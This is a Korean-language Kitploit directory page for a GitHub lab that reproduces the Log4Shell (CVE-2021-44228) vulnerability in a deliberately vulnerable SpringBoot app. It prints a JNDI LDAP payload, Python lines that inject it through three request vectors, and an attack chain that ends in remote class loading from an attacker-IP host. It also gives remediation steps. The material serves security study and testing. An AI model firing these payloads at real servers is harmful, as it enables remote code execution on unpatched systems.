Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
도구/GitHubGitHub/14free/log4j2-vuln-lab
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationPayload DevelopmentLabs & Practice
GitHub14free/log4j2-vuln-lab

log4j2-vuln-lab

CVE-2021-44228 (Log4Shell) 취약점 재현 실습 환경 | SpringBoot + Log4j2 2.14.1 | 3가지 공격 벡터 PoC 검증

저장소 보기
20시간 20분 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

⚠️ 면책 조항: 이 프로젝트는 보안 학습 및 기술 연구 목적으로만 제공되며, 모든 취약점 환경은 로컬에서 구축되었고 실제 대상에 대한 테스트는 수행되지 않았습니다. 불법적인 용도로 사용하지 마시기 바라며, 이 프로젝트 사용으로 인한 위험은 사용자 본인에게 있습니다.

Log4j2 취약점 재현 실습 환경 (CVE-2021-44228)

취약점 개요

Log4j2는 Java 생태계에서 가장 널리 사용되는 로깅 프레임워크입니다. 로그에서 ${...} 구문을 사용하여 동적 콘텐츠를 삽입할 수 있는 Lookup 기능이 있습니다. 2.14.1 이하 버전에서는 로그 내용에 ${jndi:...}가 나타나면 Log4j2가 자동으로 지정된 주소로 JNDI 요청을 보내며, 공격자는 이를 통해 원격 코드 실행(RCE)을 달성할 수 있습니다.

이 취약점은 CVE-2021-44228로 등록되었으며, CVSS 점수 10.0(만점)입니다. 트리거 조건이 매우 간단하고, Log4j2를 사용하는 거의 모든 Java 애플리케이션에 영향을 미치며, 공격 비용이 매우 낮습니다.

환경 구축

사전 요구 사항: JDK 8+, Maven, Python 3, requests 라이브러리

1단계: 취약점 실습 환경 시작

IDEA로 프로젝트를 열고 VulnApplication.java를 실행하면 다음 출력이 표시되면 시작 성공입니다:

root@kitploit:~
Tomcat started on port(s): 8080 (http)
Started VulnApplication in 1.1 seconds

2단계: PoC 스크립트 실행

root@kitploit:~
cd exploit
pip install requests
python exploit.py

취약점 재현

Payload 구성

root@kitploit:~
${jndi:ldap://127.0.0.1:1389/EvilClass}

공격 벡터 1: GET 파라미터

URL 파라미터를 통해 payload를 주입하여 logger.info("User Login: {}", username)을 트리거합니다:

root@kitploit:~
r = requests.get(f"{target_url}/login", params={"username": payload}, timeout=5)

공격 벡터 2: User-Agent 요청 헤더

HTTP 요청 헤더를 통해 payload를 주입하여 logger.info("User-Agent: {}", headers)를 트리거합니다:

root@kitploit:~
r = requests.get(f"{target_url}/api/headers", headers={"User-Agent": payload}, timeout=5)

공격 벡터 3: POST 요청 본문

POST 요청 본문을 통해 payload를 주입하여 logger.info("Data: {}", body)를 트리거합니다:

root@kitploit:~
r = requests.post(f"{target_url}/api/data", data=payload, timeout=5)

재현 결과

root@kitploit:~
[+] 연결 수신! 127.0.0.1:51631에서
[+] 취약점 확인! Log4j2가 JNDI 요청을 보냈습니다
[+] CVE-2021-44228 재현 성공

리스너가 실습 환경으로부터 TCP 연결을 수신하면 Log4j2가 ${jndi:...}를 파싱하고 LDAP 요청을 보냈음을 의미하며, 취약점 존재가 확인됩니다.

취약점 원리

Lookup 메커니즘

Log4j2의 Lookup 기능은 로그에서 ${...} 구문을 사용하여 동적 콘텐츠를 삽입할 수 있게 합니다. 예를 들어 ${env:PATH}는 환경 변수를 읽고, ${sys:user.dir}은 시스템 속성을 읽습니다.

JNDI 주입

JNDI(Java Naming and Directory Interface)는 Java의 네이밍 및 디렉토리 인터페이스로, 주소를 제공하면 해당 주소를 조회하여 결과를 반환합니다. 반환된 결과가 Java 클래스인 경우 JVM이 자동으로 로드하고 실행합니다.

전체 공격 체인

root@kitploit:~
① 공격자가 입력란에 입력: ${jndi:ldap://공격자IP:1389/EvilClass}
    ↓
② 웹사이트가 입력을 수신하고 logger.info()로 로그 기록
    ↓
③ Log4j2가 로그 내용을 파싱하고 ${jndi:ldap://...} 발견
    ↓
④ Log4j2가 LDAP 요청 전송 → 공격자 서버에 연결
    ↓
⑤ 공격자의 LDAP 서버가 응답: "이 주소에서 EvilClass.class를 다운로드하세요"
    ↓
⑥ 피해 서버가 EvilClass 클래스를 다운로드하고 로드
    ↓
⑦ EvilClass의 static 코드 블록이 자동 실행 → RCE(원격 코드 실행)

수정 방안

  1. Log4j2 버전 업그레이드: 2.17.1 이상으로 업그레이드하면 JNDI Lookup 기능이 비활성화됩니다
  2. 환경 변수로 Lookup 비활성화: 시작 파라미터에 -Dlog4j2.formatMsgNoLookups=true 추가
  3. WAF 차단: 웹 애플리케이션 방화벽에 ${jndi:가 포함된 요청을 차단하는 규칙 추가

프로젝트 구조

root@kitploit:~
log4j2-vuln-lab/
├── pom.xml                          # Maven 설정, Log4j2 2.14.1 취약 버전 지정
├── exploit/
│   └── exploit.py                   # PoC 공격 스크립트, 3개 공격 벡터 + TCP 리스너 검증
└── src/main/
    ├── java/com/vuln/log4j/
    │   ├── VulnApplication.java     # SpringBoot 시작 클래스
    │   └── controller/
    │       └── UserController.java  # 3개 취약점 주입 지점 (GET 파라미터/UA 헤더/POST 본문)
    └── resources/
        ├── application.yml          # 포트 번호 + 로그 레벨 설정
        └── log4j2.xml               # Log4j2 설정 파일
도구 다운로드